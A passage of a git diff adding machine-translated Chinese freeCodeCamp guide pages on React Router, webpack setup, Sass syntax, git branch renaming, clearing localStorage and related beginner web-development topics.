+ import { Router, Route, browserHistory } from 'react-router' 
+ 
+ // Import About, Inbox and Messages 
+ 
+ class Chrome extends React { 
+  render () { 
+    return ( 
+      <div> 
+        <h1>App</h1> 
+        <a href="/about">About</a> 
+        <a href="/inbox">Inbox</a> 
+        <a href="/messages">Messages</a> 
+        { this.props.children } 
+      </div> 
+    ) 
+  } 
+ } 
+ 
+ render(( 
+  <Router history={browserHistory}> 
+    <Route path="/" component={Chrome}> 
+      <Route path="about" component={About} /> 
+      <Route path="inbox" component={Inbox} /> 
+      <Route path="messages" component={Messages} /> 
+    </Route> 
+  </Router> 
+ ), document.getElementById('app')) 
+```
+
+## 网址参数
+```
+class Message extends React { 
+  componentDidMount() { 
+    // from the path `/inbox/messages/:id` 
+    const id = this.props.params.id 
+    ... 
+```
+
+## 链接
+```
+import { Link } from 'react-router' 
+ 
+ /* Nav Component */ 
+  ... 
+  render() { 
+    ... 
+    const userId = 10; 
+ 
+    return ( 
+      // Adding params is as simple as appending them to the route 
+      <Link to={`user/${userId}`}>User 10</Link> 
+ 
+      // Classes can be added to the link element if the current route is the one they link to 
+      <Link to="login" 
+        activeClassName="-active">Login</Link> 
+    ) 
+  } 
+```
+
+## 其他配置
+```
+<Route path="/"> 
+  <IndexRoute component={Home} /> 
+  <Route path="*" handler={NotFound} /> 
+ 
+  // arbitrary/url/login -> /arbitrary/url/sessions/new 
+  <Redirect from="login" to="sessions/new" /> 
+  // arbitrary/url/about/1 -> /arbitrary/url/profile/1 
+  <Redirect from="about/:id" to="profile/:id" /> 
+ 
+  <Route name="about-user" ... /> 
+  ... 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/react-with-webpack-file-structure/index.md b/client/src/guide/chinese/miscellaneous/react-with-webpack-file-structure/index.md
new file mode 100644
index 0000000000..9610953dc3
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/react-with-webpack-file-structure/index.md
@@ -0,0 +1,110 @@
+---
+title: React with Webpack File Structure
+localeTitle: 与Webpack文件结构反应
+---
+现在是时候在编写任何代码之前设置我们的文件结构了。
+
+首先，让我们创建一个名为`.gitignore`的新文件：
+```
+touch .gitignore 
+```
+
+此文件将包含我们将项目推送到GitHub时**不**包含的所有文件和文件夹的列表。有一个网站为`.gitignore`文件提供样板代码，这非常有用，因为`.gitignore`文件通常可能相当冗长和冗长，我们可能会忘记一些我们希望Git忽略的文件或文件夹。
+
+转到[https://www.gitignore.io/](https://www.gitignore.io/)并在搜索栏中键入`Node` ，然后单击`Generate` 。这将生成一个如下所示的文件：
+```
+# Created by https://www.gitignore.io/api/node 
+ 
+ ### Node ### 
+ # Logs 
+ logs 
+ *.log 
+ npm-debug.log* 
+ 
+ # Runtime data 
+ pids 
+ *.pid 
+ *.seed 
+ 
+ # Directory for instrumented libs generated by jscoverage/JSCover 
+ lib-cov 
+ 
+ # Coverage directory used by tools like istanbul 
+ coverage 
+ 
+ # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files) 
+ .grunt 
+ 
+ # node-waf configuration 
+ .lock-wscript 
+ 
+ # Compiled binary addons (http://nodejs.org/api/addons.html) 
+ build/Release 
+ 
+ # Dependency directories 
+ node_modules 
+ jspm_packages 
+ 
+ # Optional npm cache directory 
+ .npm 
+ 
+ # Optional REPL history 
+ .node_repl_history 
+```
+
+现在我们可以将其复制并粘贴到我们的`.gitignore`文件中。
+
+请注意， `.gitignore`文件应始终包含`node_modules` 。这非常重要，因为我们不想将我们的`node_modules`文件夹包含在我们的Git提交中，因为它们占用了大量的磁盘空间，并且可以使用`npm install` ，它指向我们的`package.json` 。
+
+我们的`.gitignore`文件中列出的大多数文件和文件夹在我们的项目中都不存在，但是如果他们将来这样做，它们将不会被包含在我们的Git提交中，这是重要且有用的，因为我们必须是选择我们的承诺。
+
+现在，我们需要创建一个包含**开发**代码内容的新文件夹。我们称之为`src` ：
+```
+mkdir src 
+```
+
+然后，我们需要创建一个文件夹，其中包含我们用于**生产**目的的文件。我们将此文件夹称为`dist` ：
+```
+mkdir dist 
+```
+
+*   [帮助：有关`src`和`dist`文件夹的更多信息](http://stackoverflow.com/questions/23730882/what-is-the-role-of-src-and-dist-folders/23731040#23731040)
+
+现在我们已经安装了我们的软件包并创建了空的`src`和`dist`文件夹，我们的树将看起来像这样（不包括`.gitignore` ，这是一个隐藏文件）：
+```
+. 
+ ├── dist 
+ ├── node_modules 
+ ├── package.json 
+ ├── src 
+ └── webpack.config.js 
+```
+
+现在，我们可以创建一个进入`src`文件夹的新`js`文件夹。这将包含我们所有的React代码：
+```
+mkdir src/js 
+```
+
+我们可以继续在`src/js`创建一个空的`client.js` 。这将是我们的主要React文件：
+```
+touch src/js/client.js 
+```
+
+我们还需要一个**不应该**进入我们的`src`文件夹的`index.html` ，而不是我们的`dist`文件夹，因为它是**生成**我们的应用程序所必需的：
+```
+touch dist/index.html 
+```
+
+所以现在，我们的树看起来像这样：
+```
+. 
+ ├── dist 
+ │   └── index.html 
+ ├── node_modules 
+ ├── package.json 
+ ├── src 
+ │   └── js 
+ │       └── client.js 
+ └── webpack.config.js 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/refresh-your-browser-cache/index.md b/client/src/guide/chinese/miscellaneous/refresh-your-browser-cache/index.md
new file mode 100644
index 0000000000..e79e5495d6
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/refresh-your-browser-cache/index.md
@@ -0,0 +1,15 @@
+---
+title: Refresh Your Browser Cache
+localeTitle: 刷新浏览器缓存
+---
+如果您的网站有过时的缓存版本，则可能需要在浏览器中对页面进行“硬刷新”。
+
+在有问题的站点上使用下面的组合键来触发硬刷新，具体取决于您的操作系统：
+
+*   Windows： `CTRL + F5`
+*   Mac / Apple： `Apple + Shift + R or Command + Shift + R`
+*   Linux： `F5`
+
+要了解有关此内容的更多信息，请访问： [http](http://refreshyourcache.com/en/cache/) ： [//refreshyourcache.com/en/cache/](http://refreshyourcache.com/en/cache/)
+
+如果硬刷新不起作用，请尝试在浏览器的隐私浏览模式下打开有问题的页面。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/registering-your-nonprofit-to-raise-donations-through-free-code-camp-commit/index.md b/client/src/guide/chinese/miscellaneous/registering-your-nonprofit-to-raise-donations-through-free-code-camp-commit/index.md
new file mode 100644
index 0000000000..280db89090
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/registering-your-nonprofit-to-raise-donations-through-free-code-camp-commit/index.md
@@ -0,0 +1,12 @@
+---
+title: Registering Your Nonprofit to Raise Donations Through Free Code Camp Commit
+localeTitle: 通过免费代码提交承诺注册您的公益组织以筹集捐款
+---
+默认情况下，我们的提交计划将包含一个单一的公益组织，并让营员可以选择浏览他们可以承诺的其他非营利组织列表。
+
+如果您希望被添加到我们的营员可以承诺的非营利组织列表中，请发送电子邮件至team@freecodecamp.com，并提供以下信息：
+
+*   代表您的组织的至少300x300像素的方形照片的网址（最好是您的组织对其中的人做的动作镜头）
+*   直接链接到您的捐赠页面，或带有嵌入式捐赠按钮的页面（您的捐赠页面需要选择每月定期付款，并允许增加5美元，10美元，25美元和50美元）。
+
+如果我们接受您，我们将为您提供一个特殊的URL，直接指向您的公益组织的提交页面。您可以分享您的社交媒体，以刺激人们通过免费代码营提交承诺您的非营利组织。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/regular-expressions-resources/index.md b/client/src/guide/chinese/miscellaneous/regular-expressions-resources/index.md
new file mode 100644
index 0000000000..bc9becb0d8
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/regular-expressions-resources/index.md
@@ -0,0 +1,37 @@
+---
+title: Regular Expressions Resources
+localeTitle: 正则表达式资源
+---
+> 指向有用的RegEx资源的链接。
+
+*   [**入门教程**](http://regexone.com) （推荐FCC）
+*   [**RegEx 101**](https://regex101.com)
+
+## RegEx教程和指南
+
+*   [**RegEx教程**](http://www.regular-expressions.info/tutorial.html) （详细解释）
+*   [**RegEx Cheatsheet**](http://www.cheatography.com/davechild/cheat-sheets/regular-expressions)
+*   [**MDN RegEx指南**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+*   [**StackOverflow RegEx常见问题解答**](http://stackoverflow.com/a/22944075/1262108)
+*   [**RegEx视频教程**](https://www.youtube.com/watch?v=EkluES9Rvak)
+
+## RegEx测试场
+
+*   [**RegEx Visualizer**](https://www.debuggex.com/?flavor=javascript)
+*   [**Hackerrank的RegEx挑战**](https://www.hackerrank.com/domains/algorithms/regex) （练习）
+*   [**RegEx Regexplained**](https://leaverou.github.io/regexplained/)
+
+## RegEx游戏
+
+*   [**RegEx高尔夫**](http://regex.alf.nu)
+*   [**RegEx填字游戏**](http://regexcrossword.com)
+
+## RegEx博客
+
+*   [**雷克斯蛋**](http://www.rexegg.com)
+
+## RegEx软件辅助工具
+
+*   [**RegExBuddy**](http://www.regexbuddy.com) （专有）
+*   [**Expresso**](http://www.ultrapico.com/expresso.htm) （免费）
+*   [**RegEx Coach**](http://www.weitz.de/regex-coach/) （免费）
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/removing-all-locally-stored-challenges/index.md b/client/src/guide/chinese/miscellaneous/removing-all-locally-stored-challenges/index.md
new file mode 100644
index 0000000000..c897c40ab5
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/removing-all-locally-stored-challenges/index.md
@@ -0,0 +1,19 @@
+---
+title: Removing All Locally Stored Challenges
+localeTitle: 删除所有本地存储的挑战
+---
+删除所有本地存储的挑战将解决与FreeCodeCamp上的浏览器崩溃相关的许多问题
+
+在Chrome中：
+
+*   在[freecodecamp上](https://freecodecamp.com)打开你的控制台
+    *   Windows： `Ctrl` + `Shift` + `J`
+    *   Mac OS： `Cmd` + `Opt` + `J`
+*   转到资源选项卡（chrome）。
+    *   单击右侧导航栏中的“本地存储”链接。
+*   删除右侧的所有条目，或在浏览器的控制台中运行此命令以清除localStorage中的所有条目： `localStorage.clear();`
+*   看看这是否解决了您的问题
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9ea6a9cf48282cbf2aa766a6aa5ce59218c80528.png)
+
+或者，如果您在冻结浏览器时遇到特定挑战的问题，请[在本地存储中找到该挑战的名称并仅删除该名称](http://forum.freecodecamp.com/t/clear-specific-values-from-your-browser-local-storage/19128) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/rename-local-branches-in-git/index.md b/client/src/guide/chinese/miscellaneous/rename-local-branches-in-git/index.md
new file mode 100644
index 0000000000..7c3aa677e2
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/rename-local-branches-in-git/index.md
@@ -0,0 +1,22 @@
+---
+title: Rename Local Branches in Git
+localeTitle: 在Git中重命名本地分支
+---
+要重命名本地分支，请在终端中输入以下内容：
+
+> `-m`代表move，就像`mv`在linux中用来重命名文件一样。
+```
+git branch -m <oldname> <newname> 
+```
+
+如果您已经签出了要更改的分支：
+```
+git branch -m <newname> 
+```
+
+下面是一个重命名`feature/react-challenges`分支来`fix/react-hikes`来自FreeCodeCamp的示例：
+```
+git checkout feature/react-challenges 
+ git branch -m fix/react-hikes 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/restrict-access-to-authenticated-users-only/index.md b/client/src/guide/chinese/miscellaneous/restrict-access-to-authenticated-users-only/index.md
new file mode 100644
index 0000000000..769d7f5161
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/restrict-access-to-authenticated-users-only/index.md
@@ -0,0 +1,15 @@
+---
+title: Restrict Access to Authenticated Users Only
+localeTitle: 限制仅对经过身份验证的用户的访问
+---
+假设您有一条要限制为登录用户的路线;也许你有一个`/profile`页面可以让你的用户填写一些关于他们自己的信息，但如果他们没有登录则无法工作。打开**/client/app/profile/profile.js** ，并添加`authenticate: true`到传递给_$ routeProvider.when_的选项如下：
+```
+    $routeProvider 
+      .when('/profile', { 
+        templateUrl: 'app/profile/profile.html', 
+        controller: 'ProfileCtrl', 
+        authenticate: true // restrict to authenticated users 
+      }); 
+```
+
+这样，如果用户在尝试访问`/profile`页面时未经过身份验证，则会在继续访问其配置文件页面之前将其重定向到您的登录屏幕进行身份验证。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/reto-de-algoritmo-bu/index.md b/client/src/guide/chinese/miscellaneous/reto-de-algoritmo-bu/index.md
new file mode 100644
index 0000000000..5724d50b4c
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/reto-de-algoritmo-bu/index.md
@@ -0,0 +1,45 @@
+---
+title: Reto De Algoritmo Bu
+localeTitle: 算法挑战Bu
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+### 问题解释：
+
+*   这个程序很简单，诀窍是要明白它是一种原始的boolaneo。程序接收真或假参数。
+
+## 线索：1
+
+*   您应该检查收到的参数类型是boolaneo。
+
+## 线索：2
+
+*   要检查参数的类型，可以使用`typeof`
+
+## 线索：3
+
+*   因为必须返回true或false，所以可以使用if语句或只返回将在if语句中使用的语句。
+
+## 扰流板警报！
+
+![警告标志](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**解决方案如下**
+
+## 代码解决方案
+```
+function booWho(bool) { 
+  return typeof bool === 'boolean'; 
+ } 
+ 
+ // realizamos el test 
+ booWho(null); 
+```
+
+![:rocket:](/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [在REPL中！](https://repl.it/CLnK/0)
+
+# 代码说明：
+
+我们使用`typeof`运算符来检查变量是否为boolanea。如果是，它将返回`true` 。否则，另一种类型将返回`falso` 。
+
+> **注意：**如果您已在文章中添加了**相关内容** ，请仅添加您的用户名。 （请不要删除任何现有名称。）
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/running-webpack-and-webpack-dev-server/index.md b/client/src/guide/chinese/miscellaneous/running-webpack-and-webpack-dev-server/index.md
new file mode 100644
index 0000000000..cab483172e
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/running-webpack-and-webpack-dev-server/index.md
@@ -0,0 +1,124 @@
+---
+title: Running Webpack and Webpack Dev Server
+localeTitle: 运行Webpack和Webpack Dev Server
+---
+现在是使用Webpack的时候了。因为Webpack是全局安装的，所以我们可以在终端中运行以下命令：
+```
+webpack 
+```
+
+这将运行我们的`webpack.config.js`文件。它应该成功运行，我们应该看到这样的东西出现在我们的终端：
+```
+Hash: 2474b15611d8d75c5a39 
+ Version: webpack 1.12.14 
+ Time: 1721ms 
+    Asset    Size  Chunks             Chunk Names 
+ bundle.js  679 kB       0  <a href='https://webpack.github.io/docs/webpack-dev-server.html' target='_blank' rel='nofollow'>emitted]  main 
+    + 159 hidden modules 
+```
+
+请注意，它引用了一个名为`bundle.js`的`Asset` 。 Webpack告诉我们在运行`webpack`命令时已经创建了这个文件。查看你的`dist`文件夹，你应该在`index.html`旁边看到你的`bundle.js` 。
+
+我们的树现在看起来像这样：
+```
+. 
+ ├── dist 
+ |   ├── bundle.js 
+ │   └── index.html 
+ ├── node_modules 
+ ├── package.json 
+ ├── src 
+ │   └── js 
+ │       └── client.js 
+ └── webpack.config.js 
+```
+
+现在我们有了`dist/bundle.js` ，我们的`dist/index.html`文件现在指的是一个存在的文件！如果我们看一下`bundle.js` ，我们会看到它是我们项目中所有JavaScript文件的包。凉！
+
+继续搜索我们的`dist/bundle.js`一些内容，比如`This is one cool app!` 。我们可以在文件中看到它的上下文，它在一个奇怪的方法中：
+```
+_createClass(Main, [{ 
+  key: 'render', 
+  value: function render() { 
+    return _react2.default.createElement( 
+      'div', 
+      null, 
+      _react2.default.createElement( 
+        'h1', 
+        null, 
+        'This is one cool app!' 
+      ) 
+    ); 
+  } 
+ }]); 
+```
+
+这就是巴贝尔所做的;它已经将代码转换为ES5并将其与其他JavaScript文件捆绑在一起 - 当然包括我们所有的节点模块。现在我们所有的React文件都可以使用ES6 `import`语句引用这个包。
+
+最后，是时候在浏览器中查看应用程序了。为此，我们将使用Webpack Dev Server，这是一个功能丰富的工具，用于在使用Webpack时设置`localhost`服务器以进行开发。
+
+*   \[帮助：有关Webpack Dev Server的更多信息
+
+继续运行：
+```
+webpack-dev-server --content-base dist 
+```
+
+我们需要包含`--content-base dist`来指定Webpack Dev Server的内容库，以便它知道在哪里获取要提供的文件;在这种情况下，它是`dist`文件夹，因为这是我们用于**生产**的文件夹，而不是我们用于_开发_ \*的`src`文件夹。
+
+在我们的终端中，我们应该看到如下内容：
+```
+http://localhost:8080/webpack-dev-server/ 
+ webpack result is served from / 
+ content is served from /Code/react-webpack-example/dist 
+ Hash: 2474b15611d8d75c5a39 
+ Version: webpack 1.12.14 
+ Time: 3738ms 
+```
+
+接下来将是`dist/bundle.js`捆绑到`dist/bundle.js`中的所有文件的很长列表。惊人！
+
+现在是时候前往`webpack-dev-server`命令提供的URL， `http://localhost:8080/` 。我们应该看到一个页面的`h1`如下：
+```
+This is one cool app! 
+```
+
+让我们看看我们的开发人员工具的元素窗格。我们应该有以下几点：
+```
+<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <title>React Webpack Example</title> 
+  <style type="text/css"></style> 
+ </head> 
+ <body> 
+  <!-- React app will be injected into the following `div` element: --> 
+  <div id="app"> 
+    <div data-reactid=".0"> 
+      <h1 data-reactid=".0.0">This is one cool app!</h1> 
+    </div> 
+  </div> 
+  <!-- Include bundled JavaScript: --> 
+  <script src="bundle.js"></script> 
+ </body> 
+ </html> 
+```
+
+如果我们在`src/js/client.js`编写的内容，我们将看到React如何呈现到`dist/index.html` 。
+
+如果你到目前为止，干得好！现在，您知道如何使用React，Webpack和ES6代码设置工作区，这非常棒，并为您提供了使用尖端技术制作令人印象深刻的Web应用程序的起点。
+
+在下一个教程中，我们将介绍一些更高级的步骤，包括：
+
+*   使用React了解更多细节
+*   查看Webpack的其他一些很酷的功能，比如编译Sass文件
+*   在我们的`dist/bundle.js`上使用`dist/bundle.js`
+
+#### 更多信息：
+
+[Webpack网站](https://webpack.js.org/)
+
+[Webpack Github](https://github.com/webpack/webpack)
+
+[webpack-dev-server Github](https://github.com/webpack/webpack-dev-server)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/sass-syntax-and-tools/index.md b/client/src/guide/chinese/miscellaneous/sass-syntax-and-tools/index.md
new file mode 100644
index 0000000000..8fcd434fc5
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/sass-syntax-and-tools/index.md
@@ -0,0 +1,184 @@
+---
+title: Sass Syntax and Tools
+localeTitle: Sass语法和工具
+---
+_“艺术家和他的工具一样好。”_
+
+这不一定是真的，但我们使用的工具可以确保我们的生活更轻松，我们的任务更容易管理。想象一下，编写没有键盘快捷键或片段的代码！不是世界末日，而是你得到了主旨。
+
+我们将讨论的“工具”，或者更常被称为指令，实际上是与Sass捆绑在一起的内置功能，可以帮助我们作为开发人员编写DRY-er（不要重复自己）和更清晰的代码。
+
+_如果您想在自己的文本编辑器中进行操作，我建议您安装**Sass语法高亮显示器** 。 Atom和Sublime Text以及其他一些编辑都支持这些。_
+
+## 变量
+
+如果您使用其他编程语言（JavaScript，Python，Java，C等）编写代码，那么您就熟悉变量的概念。如果没有，则变量基本上是声明的语句，可以存储某种值，如数字或字符串。
+
+在Sass中，变量的工作方式基本相同，并且可以在变量名称旁边用“$”字符声明：
+```
+$main-color: #CCCCCC; 
+```
+
+上面的变量是存储灰色调的十六进制颜色代码。我们可以在任何内声明该变量`.scss`或`.sass`我们在正在处理的文件，我们还可以将所需的变量标签（HTML5标签，ID，类，伪选择）造型时：
+```
+$main-color: #CCCCCC; 
+ 
+ header { 
+  background-color: $main-color; 
+ } 
+```
+
+在此代码段中，我们已将标题的`background-color`的值分配给存储在`$main-color`的值，该值（当Sass编译为CSS时）输出为：
+```
+header { 
+  background-color: #CCCCCC; 
+ } 
+```
+
+整齐！但是我们难道不能将`background-color`设置为`#CCCCCC`吗？答案是肯定的，但还有更多。
+
+假设我们为客户设计了一个多页面网站，我们刚刚选择了一个简单的三色“配色方案”。我们的导航栏，页脚是一种颜色，也许我们的文章元素，段落和标题是剩下的两种颜色之一。然后有一天，客户改变了我们选择的配色方案，并希望它改变了。大。
+
+因此，我们的任务是完成我们的多个样式表（如果您愿意，可以使用一个大型样式表）并更改所有这些颜色值。也许我们混在一起。或者我们可能会错过一个并且必须继续修复它们。
+
+使用变量（以及我们稍后将讨论的Sass partials的使用），我们可以调整变量声明的值，并且在我们使用样式表中的变量的任何其他地方，值将改变以反映我们更改的变量赋值。这只是Sass中相应使用时方便变量的一个例子。随着我们添加到Sass工具带中，变量变得越来越重要。
+
+在那个问题上，让我们来解决mixins问题。
+
+## 混入
+
+mixin是一个可重用的代码块，可以接受参数，就像JavaScript中的函数一样。但是，不要将其与Sass中的实际`@function`功能混淆。
+
+通过在“mixin”一词前加上“@”字符，然后是mixin的名称来声明Mixins。下面是一个名为btn的mixin示例，它接受两个参数并将它们应用于CSS属性：
+```
+@mixin btn($color, $text-color) { 
+  background-color: $color; 
+  color: $text-color; 
+  padding: 1em; 
+ } 
+```
+
+在写出mixin之后，默认情况下不会发生任何事情，因为我们没有使用mixin（类似于编写函数而不是调用函数）。让我们整合我们的mixin。我们将使用`@include`语句将其包含在HTML5 `button`选择器中：
+
+_`@include`语句允许我们将mixin样式引入我们选择的CSS选择器。在这种情况下，带有蓝色和白色值的`button`选择器作为参数传入。_
+```
+button { 
+  @include btn(blue, white); 
+ } 
+```
+
+如果我们选择，我们可以在任何其他HTML选择器中使用。这将编译为：
+```
+button { 
+  background-color: blue; 
+  color: white; 
+  padding: 1em; 
+ } 
+```
+
+只需使用单行`@include btn(blue, white);`在我们的按钮选择器中，我们可以引入我们的mixin中写出的所有代码，蓝色和白色作为参数传入。另外，我们可以为传递给mixin的参数设置默认值。例如，假设我们希望我们的按钮mixin默认为特定的颜色和字体颜色，如果调用时没有传递任何值：
+```
+@mixin button($color: green, $text-color: red) { 
+  background-color: $color; 
+  color: $text-color; 
+  padding: 1em; 
+ } 
+```
+
+通过输入“：”后跟我们想要设置的默认值，我们将green指定为`$color`参数的默认值，将red指定为`$text-color`参数的默认值。
+
+现在，如果我们调用我们的mixin而不传递任何值...
+```
+button { 
+  @include btn; 
+ } 
+```
+
+这归结为：
+```
+button { 
+  background-color: green; 
+  color: red; 
+  padding: 1em; 
+ } 
+```
+
+如果我们想将变量用于mixin，我们也可以这样做：
+```
+$main-color: #CCCCCC; 
+ $second-color: #FFFFFF; 
+ 
+ @mixin button($color: $main-color, $text-color: $second-color) { 
+  background-color: $color; 
+  color: $text-color; 
+  padding: 1em; 
+ } 
+```
+
+在上面的示例中，我们使用不同的十六进制颜色值声明两个变量，然后将参数`$color`和`$text-color`为默认为我们的变量（如果没有传递参数）。
+
+为mixin设置默认值通常被认为是一种很好的做法，但绝对没有必要。您会发现许多开发人员都有自己的方式来编写代码并对被认为是“最佳”的内容发表意见。
+
+这里的乐趣不会停止。在写出mixins时，我们可以执行一些其他有用的技巧，以及如何编写它们的无限可能性。从mixin中拿走的重要一点是它们可以作为模块或“对象”，我们可以在需要的代码中声明某些样式，传递值和重用，而不是在设计不同元素时不断重复自己。他们可以帮助我们更加真实地遵守DRY原则。
+
+## 扩展
+
+我们将讨论的最后一个工具是extend指令。 Extends可用于将先前应用的样式复制到另一个元素。然而，在实现扩展时幕后会发生更多的事情，如果我们不小心，这会对我们的样式产生一些意想不到的副作用。
+
+下面是一个使用的扩展指令的示例：
+```
+.primary-module { 
+  color: red; 
+ } 
+ 
+ .another-module { 
+  @extend .primary-module; 
+ } 
+ 
+ // This ouputs the following CSS 
+ 
+ .primary-module, .another-module { 
+  color: red; 
+ } 
+```
+
+这里没什么太阴暗了。我们有一个选择器定位`.another-module` ，它使用扩展来克隆应用于选择器`.primary-module`样式。这会输出`color: red;`样式`color: red;`被施加到类`.primary-module`和`.another-module` 。到目前为止的逻辑和一个具有类似效果的工具，将mixin包含在需要共享相同样式的几个元素上。
+
+现在让我们仔细看看另一个例子，然后选择一个extend指令复杂化的地方：
+```
+.primary-module p { 
+  color: red; 
+ } 
+ 
+ .another-module { 
+  @extend .primary-module; 
+ } 
+ 
+ // This outputs the following CSS 
+ 
+ .primary-module p, .another-module p { 
+  color: red; 
+ } 
+```
+
+你懂了吗？的选择器`.another-module`是使用在一个延伸`.primary-module p`选择器。请注意，因为`.primary-module`有一个`p` （段落标记）的下降选择器，当调用extend并编译我们的Sass代码时， `color: red;`的样式为`color: red;`正在应用于`.primary-module p`和`.primary-module p` `.another-module p` 。
+
+发生的事情是，extend指令不仅克隆了`.primary-module p`的样式，而且还克隆了`p`的下降选择器标记并将其添加到`.another-module` 。我们正在复制借来的样式和后代选择器。因此，我们扩展的样式将应用于作为`.another-module`后代的段落元素，而不仅仅是具有`.another-module`类的元素。
+
+如果我们不知道正在做什么，你可以看到这样的东西会变得毛茸茸。
+
+所以我们已经看过延伸的窗帘，现在你可能会想到_使用延伸的重点是什么？是值得的还是我可以使用mixins？_
+
+简短的回答（关于这个主题还有很多内容）是，通常扩展将用于有目的地利用应用于其他元素的样式的继承，或者特别使用Sass中所谓的**静默类** 。扩展通常可以在小心使用时实现mixins的功能，但不应轻率地使用它来代替另一个。实践扩展并将其用于特定目的。
+
+至于静默类，这有望在本文即将发布的部分中介绍。现在只知道静默类是Sass中的选择器，它们以“％”字符为前缀，除非通过扩展调用，否则根本不会编译。
+
+## 结论
+
+如果你已经完成了本文的结尾，你应该获得一些认可。我写这篇文章是希望以一种方式解释Sass，我希望当我第一次开始搞乱它时，它会被教给我。如果CSS是你挣扎的东西，或者总是因为它变得一团糟而感到忧虑，那么希望Sass将开始缓解一些挫折。
+
+这篇文章意味着在Sass世界中让你的脚湿透的“速成课程”。仍然有大量的工具和功能使Sass大放异彩，以及在**构建样式表并将其分解为部分**时的最佳实践。
+
+我的建议是在你自己的文本编辑器和[Sassmeister中](http://www.sassmeister.com/)开始沙盒，以便更好地[理解](http://www.sassmeister.com/)本文所涵盖的概念。也请关注免费代码营Sass课程即将推出。
+
+走出去，升级你的Sass游戏。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/searching-for-existing-issues-in-github/index.md b/client/src/guide/chinese/miscellaneous/searching-for-existing-issues-in-github/index.md
new file mode 100644
index 0000000000..dd677c5b24
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/searching-for-existing-issues-in-github/index.md
@@ -0,0 +1,15 @@
+---
+title: Searching for Existing Issues in Github
+localeTitle: 在Github中搜索现有问题
+---
+如果在获得Gitter帮助后仍然看到问题，您将需要尝试查看是否有其他人发布了类似问题。
+
+![gif遍历后续步骤以搜索GitHub的问题](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3577718dd9fe14fbe80b203bc3cc56cdb0d9c3af.gif)
+
+1.  转到FreeCodeCamp的[Github问题](https://github.com/FreeCodeCamp/FreeCodeCamp/issues)页面。
+    
+2.  使用搜索栏搜索可能与您的问题相关的已归档问题。
+    
+    *   如果找到一个，请阅读！您可以通过单击侧栏中的“ `Subscribe`来订阅以获取有关该特定问题的更新。如果您要添加某些内容，也可以对此问题发表评论。
+        
+    *   如果您找不到任何相关问题，您应该创建一个新的Github问题 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/searching-for-existing-issues/index.md b/client/src/guide/chinese/miscellaneous/searching-for-existing-issues/index.md
new file mode 100644
index 0000000000..81dddcd330
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/searching-for-existing-issues/index.md
@@ -0,0 +1,15 @@
+---
+title: Searching for Existing Issues
+localeTitle: 搜索现有问题
+---
+如果在[获得Gitter帮助](http://forum.freecodecamp.com/t/how-to-get-help-on-gitter/19130)后仍然看到问题，您将需要尝试查看是否有其他人发布了类似问题。
+
+![gif遍历后续步骤以搜索GitHub的问题](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3577718dd9fe14fbe80b203bc3cc56cdb0d9c3af.gif)
+
+1.  转到FreeCodeCamp的[Github问题](https://github.com/FreeCodeCamp/FreeCodeCamp/issues)页面。
+    
+2.  使用搜索栏搜索可能与您的问题相关的已归档问题。
+    
+    *   如果找到一个，请阅读！您可以通过单击侧栏中的“ `Subscribe`来订阅以获取有关该特定问题的更新。如果您要添加某些内容，也可以对此问题发表评论。
+        
+    *   如果您找不到任何相关问题，您应该[创建一个新的Github问题](http://forum.freecodecamp.com/t/creating-a-new-github-issue/18392) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/seed-data-in-angular/index.md b/client/src/guide/chinese/miscellaneous/seed-data-in-angular/index.md
new file mode 100644
index 0000000000..a6bd192709
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/seed-data-in-angular/index.md
@@ -0,0 +1,7 @@
+---
+title: Seed Data in Angular
+localeTitle: Angular中的种子数据
+---
+这显示在您的应用程序的主视图中的_事情_是被添加到你的数据库（包括测试和管理用户）每次重新启动您的应用程序时（通过运行一些种子数据的一部分`grunt serve`在命令行）。此数据在**/server/config/seed.js中**定义。
+
+您可以在此文件中添加，删除或更改数据，它将写入您的数据库，在您下次运行`grunt serve`时覆盖任何重复项。如果覆盖了**seed.js中**定义的对象，则数据库将分配一个新对象_。_ ID\_属性（我们会覆盖_。_在下一节ID\_属性），这可能会给你一些问题，后来在测试。为避免这种情况，您可以通过在**/server/config/environment/development.js中**设置`seedDB: false`来关闭种子设定。
\ No newline at end of file
